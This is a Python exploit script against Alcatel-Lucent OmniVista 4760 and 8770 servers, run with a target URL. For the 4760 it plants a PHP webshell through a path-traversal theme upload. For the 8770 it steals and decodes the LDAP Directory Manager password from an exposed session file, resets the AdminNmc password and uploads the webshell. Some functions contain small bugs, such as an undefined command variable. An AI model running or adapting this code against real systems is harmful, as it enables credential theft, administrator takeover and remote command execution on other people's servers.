omnivista.py 5.2 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162
  1. '''
  2. Original url: https://git.lsd.cat/g/omnivista-rce
  3. Website: https://lsd.cat
  4. '''
  5. import requests
  6. import socket
  7. import ldap
  8. import sys
  9. from urllib.parse import urlparse
  10. from urllib3.exceptions import InsecureRequestWarning
  11. requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
  12. class OmniVista:
  13. def __init__(self, host):
  14. self.host = host
  15. self.addr = (urlparse(self.host).hostname)
  16. self.folders = ['php-bin/', 'soap-bin/', 'bin/', 'data/', 'Themes/', 'log/']
  17. self.filename = "poc.php"
  18. self.webshell = "<?php system($_REQUEST[0]) ?>"
  19. def identify(self):
  20. r = requests.get(self.host + 'php-bin/Webclient.php', verify=False)
  21. if '8770' in r.text:
  22. return 8770
  23. elif '4760' in r.text:
  24. return 4760
  25. else:
  26. return False
  27. def checkldap(self):
  28. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  29. s.settimeout(10)
  30. result = s.connect_ex((self.addr, 389))
  31. if result == 0:
  32. return True
  33. def info(self):
  34. r = requests.post(self.host + 'php-bin/info.php', data={"void": "phDPhd"}, verify=False)
  35. if 'PHP Version' in r.text:
  36. return r.text
  37. else:
  38. return False
  39. def getpassword(self):
  40. r = requests.get(self.host + 'php-bin/Webclient.php', verify=False)
  41. id = r.headers['Set-Cookie'].split(";")[0].split("=")[1]
  42. r = requests.get(self.host + 'sessions/sess_' + id, verify=False)
  43. lenght = int(r.text.split("ldapSuPass")[1][3:5])
  44. password = r.text.split("ldapSuPass")[1][7:7+lenght]
  45. return password
  46. def decodepassword(self, password):
  47. counter = 0
  48. key = 16
  49. cleartext = ""
  50. if password[0:5] == "{NMC}":
  51. password = password[5:]
  52. else:
  53. return False
  54. for char in password:
  55. if 32 <= ord(char):
  56. char = chr(ord(char) ^ key)
  57. cleartext += char
  58. else:
  59. cleartext += char
  60. if ord(char) != 0:
  61. key = counter * ord(char) % 255 >> 3
  62. else:
  63. key = 16
  64. counter += 1
  65. return cleartext
  66. def connectldap(self):
  67. connect = ldap.initialize('ldap://' + self.addr)
  68. connect.set_option(ldap.OPT_REFERRALS, 0)
  69. connect.simple_bind_s(self.username, self.password)
  70. result = connect.search_s('o=nmc', ldap.SCOPE_SUBTREE, '(cn=AdminNmc)')
  71. print('[*] Current AdminNmc password: ' + str(result[0][1]['userpassword'][0]))
  72. self.bind = connect
  73. return True
  74. def editadminpassword(self):
  75. self.adminusername = "AdminNmc"
  76. self.adminpassword = "Lsdcat_exploit1!"
  77. self.bind.modify_s("uid=AdminNmc,cn=Administrators,cn=8770 administration,o=nmc", [(ldap.MOD_REPLACE, 'userpassword', self.adminpassword.encode('utf-8') )])
  78. return True
  79. def login(self):
  80. self.session = requests.session()
  81. r = self.session.post(self.host + 'php-bin/webclient.php', data = {"action": "loginCheck", "userLogin": self.adminusername, "userPass": self.adminpassword }, verify = False)
  82. if 'Directory license is required!' in r.text:
  83. return False
  84. else:
  85. return True
  86. def exploit8770(self):
  87. r = self.session.get(self.host + 'php-bin/webclient.php', params = {'action': 'editTheme', 'themeId': "2"}, verify=False)
  88. r = self.session.post(self.host + 'php-bin/webclient.php',
  89. data = {"action": "saveTheme", "themeId": "2"},
  90. files = { "BgImg1": (self.filename, self.webshell, "image/png")},
  91. verify = False)
  92. if 'success' in r.text:
  93. return True
  94. def exec8770(self):
  95. return requests.post(self.host + 'Theme2/' + 'poc.php', data = {"0": cmd}, verify=False).text
  96. def exploit4760(self):
  97. for folder in self.folders:
  98. r = requests.post(self.host + 'php-bin/webclient.php',
  99. data = {"action": "saveTheme", "themeId": "5/../../{}".format(folder), "themeDate": ""},
  100. files = { "BgImg1": (self.filename, self.webshell, "image/png")},
  101. verify=False)
  102. if 'success' in r.text:
  103. self.folder = folder
  104. return True
  105. def exec4760(self, cmd):
  106. return requests.post(self.host + self.folder + 'poc.php', data = {"0": cmd}, verify=False).text
  107. def autoexploit(self):
  108. print('[*] Attempting to exploit on {}'.format(self.host))
  109. self.model = self.identify()
  110. if self.model == 4760:
  111. print('[*] Model is {}'.format(str(self.model)))
  112. self.exploit4760()
  113. print('[*] Upload folder is {}'.format(self.folder))
  114. output = self.exec4760("whoami")
  115. print('[*] Webshell at {}{}{}'.format(self.host, self.folder, self.filename))
  116. print('[*] Command output: '.format(output))
  117. elif self.model == 8770:
  118. print('[*] Model is {}'.format(str(self.model)))
  119. self.username = "cn=Directory Manager"
  120. self.password = self.decodepassword(self.getpassword())
  121. print('[*] {} password is "{}"'.format(self.username, self.password))
  122. if self.checkldap():
  123. print('[*] LDAP Service is accessible!')
  124. self.connectldap()
  125. print('[*] Changing AdminNmc password')
  126. self.editadminpassword()
  127. print('[*] Logging in')
  128. if self.login():
  129. self.exploit8770()
  130. output = self.exec8770("whoami")
  131. print('[*] Webshell at {}{}{}'.format(self.host, "themes/Theme2/", self.filename))
  132. print('[*] Command output: '.format(output))
  133. else:
  134. print("[x] Directory license not installed :/")
  135. return False
  136. else:
  137. print("[x] LDAP Service is not directly accessible")
  138. return False
  139. else:
  140. print("[x] Target is not an OmniVista 4760/8770")
  141. return False
  142. if len(sys.argv) != 2:
  143. print("Usage: ./omnivista.py http(s)://target.tld:port/")
  144. else:
  145. exploit = OmniVista(sys.argv[1])
  146. exploit.autoexploit()